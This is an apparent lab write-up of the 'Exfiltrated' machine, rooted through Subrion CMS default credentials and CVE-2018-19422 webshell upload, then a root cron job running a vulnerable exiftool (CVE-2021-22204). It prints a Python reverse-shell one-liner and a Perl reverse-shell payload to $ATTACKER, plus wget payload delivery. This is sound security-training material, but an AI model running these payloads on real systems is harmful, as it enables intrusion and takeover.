Machine Info

Spoiler
*In this lab, we will exploit the target through an authenticated file upload bypass vulnerability in Subrion CMS that leads to remote code execution. We will then exploit a root cron job via a script running exiftool every minute.

Root

Reconnaissance

We are going to start by running our nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)


└─$ nmap -p$ports -sC -sV $VICTIM
Running second nmap scan with open ports: 22,80
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-26 17:41 CET
Nmap scan report for $VICTIM
Host is up (0.023s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_  256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://exfiltrated.offsec/
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 7 disallowed entries 
| /backup/ /cron/? /front/ /install/ /panel/ /tmp/ 
|_/updates/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 clo
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We are going to put exfiltrated.offsec to /etc/hosts.

Web

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
└└─$ ffuf -u http://exfiltrated.offsec/FUZZ  -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -recursion -recursion-depth 2

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://exfiltrated.offsec/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

0                       [Status: 200, Size: 21687, Words: 9133, Lines: 581, Duration: 126ms]
.htpasswd               [Status: 403, Size: 283, Words: 20, Lines: 10, Duration: 4569ms]
.htaccess               [Status: 403, Size: 283, Words: 20, Lines: 10, Duration: 4711ms]
README.md               [Status: 200, Size: 4794, Words: 314, Lines: 68, Duration: 24ms]
about                   [Status: 200, Size: 18975, Words: 9188, Lines: 518, Duration: 266ms]
actions                 [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 188ms]
api                     [Status: 403, Size: 17381, Words: 8819, Lines: 464, Duration: 202ms]
blog                    [Status: 200, Size: 19417, Words: 9378, Lines: 522, Duration: 240ms]
captcha                 [Status: 200, Size: 1999, Words: 13, Lines: 23, Duration: 432ms]
confirm                 [Status: 403, Size: 17406, Words: 8820, Lines: 464, Duration: 277ms]
cron                    [Status: 200, Size: 43, Words: 1, Lines: 1, Duration: 168ms]
en                      [Status: 200, Size: 21687, Words: 9133, Lines: 581, Duration: 206ms]
favicon.ico             [Status: 200, Size: 1150, Words: 10, Lines: 4, Duration: 25ms]
favorites               [Status: 200, Size: 18959, Words: 9170, Lines: 517, Duration: 241ms]
forgot                  [Status: 200, Size: 20406, Words: 9469, Lines: 545, Duration: 496ms]
help                    [Status: 200, Size: 18950, Words: 9183, Lines: 518, Duration: 288ms]
icons                   [Status: 403, Size: 283, Words: 20, Lines: 10, Duration: 25ms]
index                   [Status: 200, Size: 21693, Words: 9133, Lines: 581, Duration: 303ms]
install                 [Status: 403, Size: 10, Words: 1, Lines: 1, Duration: 66ms]
logout                  [Status: 200, Size: 21687, Words: 9133, Lines: 581, Duration: 181ms]
login                   [Status: 200, Size: 18023, Words: 8650, Lines: 478, Duration: 265ms]
members                 [Status: 200, Size: 25299, Words: 12282, Lines: 612, Duration: 268ms]
panel                   [Status: 200, Size: 6163, Words: 1619, Lines: 107, Duration: 381ms]
policy                  [Status: 200, Size: 19008, Words: 9188, Lines: 518, Duration: 246ms]
profile                 [Status: 403, Size: 17392, Words: 8820, Lines: 464, Duration: 166ms]
redirect                [Status: 200, Size: 1048, Words: 194, Lines: 34, Duration: 248ms]
registration            [Status: 200, Size: 20800, Words: 9681, Lines: 552, Duration: 748ms]
robots.txt              [Status: 200, Size: 142, Words: 9, Lines: 8, Duration: 24ms]
search                  [Status: 200, Size: 19398, Words: 9258, Lines: 533, Duration: 265ms]
server-status           [Status: 403, Size: 283, Words: 20, Lines: 10, Duration: 22ms]
sitemap.xml             [Status: 200, Size: 637, Words: 6, Lines: 4, Duration: 21ms]
tag                     [Status: 200, Size: 18905, Words: 9178, Lines: 517, Duration: 238ms]
terms                   [Status: 200, Size: 18995, Words: 9193, Lines: 518, Duration: 204ms]
updates                 [Status: 403, Size: 283, Words: 20, Lines: 10, Duration: 41ms]
web.xml                 [Status: 200, Size: 104, Words: 5, Lines: 3, Duration: 126ms]
webpack.manifest.json   [Status: 200, Size: 76, Words: 4, Lines: 1, Duration: 82ms]

From the fuzzing and the image we see we explore the endpoints. Nothing too interesting other than the login. We will try default creds admin:admin and it’s going to work giving us access to the admin user.

Browsing as admin we end up in the admin panel /panel.

We can clearly see that it is Subrion CMS version 4.2.1. Looking online we find CVE-2018-19422 which can give us RCE.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
└─$ python cve-2018-19422.py -u http://exfiltrated.offsec/panel -l admin -p admin
[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 

[+] Trying to connect to: http://exfiltrated.offsec/panel/
[+] Success!
[+] Got CSRF token: tyVeGsbrLIdT2EK7k9AirEDHwLf1g2bSs637ys81
[+] Trying to log in...
[+] Login Successful!

[+] Generating random name for Webshell...
[+] Generated webshell name: hmfxtckvtjrwlwb

[+] Trying to Upload Webshell..
[+] Upload Success... Webshell path: http://exfiltrated.offsec/panel/uploads/hmfxtckvtjrwlwb.phar 

$ whoami
www-data

$ ls
hmfxtckvtjrwlwb.phar

$ pwd
/var/www/html/subrion/uploads

$ cd / 

$ ls
hmfxtckvtjrwlwb.phar

$ pwd
/var/www/html/subrion/uploads

$ bash

$ ls
hmfxtckvtjrwlwb.phar

$ cd /home

$ ls
hmfxtckvtjrwlwb.phar

$ ls -al
total 24
drwxr-xr-x  4 www-data www-data 4096 Feb 26 16:56 .
drwxr-xr-x 13 www-data www-data 4096 Jun 10  2021 ..
-rwxr-xr-x  1 www-data www-data  656 Jun 14  2018 .htaccess
drwxr-xr-x  2 www-data www-data 4096 Feb 26 16:56 .quarantine
drwxrwxrwx  2 www-data www-data 4096 Feb 26 16:56 .tmb
-rw-r--r--  1 www-data www-data   31 Feb 26 16:56 hmfxtckvtjrwlwb.phar

$ ls -al
total 24
drwxr-xr-x  4 www-data www-data 4096 Feb 26 16:56 .
drwxr-xr-x 13 www-data www-data 4096 Jun 10  2021 ..
-rwxr-xr-x  1 www-data www-data  656 Jun 14  2018 .htaccess
drwxr-xr-x  2 www-data www-data 4096 Feb 26 16:56 .quarantine
drwxrwxrwx  2 www-data www-data 4096 Feb 26 16:56 .tmb
-rw-r--r--  1 www-data www-data   31 Feb 26 16:56 hmfxtckvtjrwlwb.phar

$ ls -al /home
total 12
drwxr-xr-x  3 root   root   4096 Jun 10  2021 .
drwxr-xr-x 20 root   root   4096 Jan  7  2021 ..
drwx--x--x  2 coaran coaran 4096 Jun 10  2021 coaran


$ python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("$ATTACKER",4446));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'

We will upgrade our shell with a python based reverse shell.

Tip
rlwrap before the nc listener, will enhance the shell, allowing us to clear the screen with CTRL+L.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
└─$ rlwrap nc -lnvp 4446
listening on [any] 4444 ...

ls
connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 45424
www-data@exfiltrated:/var/www/html/subrion/uploads$ 
www-data@exfiltrated:/var/www/html/subrion/uploads$ ls
hmfxtckvtjrwlwb.phar
www-data@exfiltrated:/var/www/html/subrion/uploads$ 
...

www-data@exfiltrated:/var/www/html/subrion/includes$ cat config.inc.php
cat config.inc.php
<?php
/*
 * Subrion Open Source CMS 4.2.1
 * Config file generated on 10 June 2021 12:04:54
 */

define('INTELLI_CONNECT', 'mysqli');
define('INTELLI_DBHOST', 'localhost');
define('INTELLI_DBUSER', 'subrionuser');
define('INTELLI_DBPASS', 'target100');
define('INTELLI_DBNAME', 'subrion');
define('INTELLI_DBPORT', '3306');
define('INTELLI_DBPREFIX', 'sbr421_');

define('IA_SALT', '#5A7C224B51');

// debug mode: 0 - disabled, 1 - enabled
define('INTELLI_DEBUG', 0);

www-data@exfiltrated:/var/www/html/subrion/includes$ 

From the initial enumeration we found that there is a user on the host but couldn’t get more information other than the database configuration credentials. These, though, didn’t yield in any results as we enumerated the database even from the admin panel before and didn’t find any useful information.

Looking further we uncover the an interesting cron job running as root!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* *     * * *   root    bash /opt/image-exif.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
cat /opt/image-exif.sh
#! /bin/bash
#07/06/18 A BASH script to collect EXIF metadata 

echo -ne "\\n metadata directory cleaned! \\n\\n"


IMAGES='/var/www/html/subrion/uploads'

META='/opt/metadata'
FILE=`openssl rand -hex 5`
LOGFILE="$META/$FILE"

echo -ne "\\n Processing EXIF metadata now... \\n\\n"
ls $IMAGES | grep "jpg" | while read filename; 
do 
    exiftool "$IMAGES/$filename" >> $LOGFILE 
done

echo -ne "\\n\\n Processing is finished! \\n\\n\\n"

At first we didn’t see anything malicious and indeed there isn’t but we saw then the version of the tool.

1
2
3
www-data@exfiltrated:/opt/metadata$ exiftool -ver
exiftool -ver
11.88

Looking it up online we find CVE-2021-22204. We will use is to spawn a reverse shell as root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
python cve-2021-22204.py -s $ATTACKER 4448                               
  payload = "(metadata \"\c${"

        _ __,~~~/_        __  ___  _______________  ___  ___
    ,~~`( )_( )-\|       / / / / |/ /  _/ ___/ __ \/ _ \/ _ \
        |/|  `--.       / /_/ /    // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
    
RUNNING: UNICORD Exploit for CVE-2021-22204
PAYLOAD: (metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(4448,inet_aton('$ATTACKER')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};")                                                  
RUNTIME: DONE - Exploit image written to 'image.jpg'

                                                                                             
└─$ ls
50011.sh    cve-2018-19422.py  exploit-CVE-2021-22204  rev.php
admin.hash  cve-2021-22204.py  image.jpg
                                                                                             
└─$ python -m http.server 80                       
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
$VICTIM - - [27/Feb/2026 22:54:05] "GET /image.jpg HTTP/1.1" 200 -
1
2
rlwrap nc -lnvp 4448
listening on [any] 4448 ...

We transfer the image.jpg malicious image file to the victim host.

1
2
www-data@exfiltrated:/opt/metadata$ wget http://$ATTACKER/image.jpg -O /var/www/html/subrion/uploads/image.jpg
Saving to: ‘/var/www/html/subrion/uploads/image.jpg’
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
└─$ rlwrap nc -lnvp 4448
listening on [any] 4448 ...
connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 39662
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cd /root
# ls
proof.txt
```s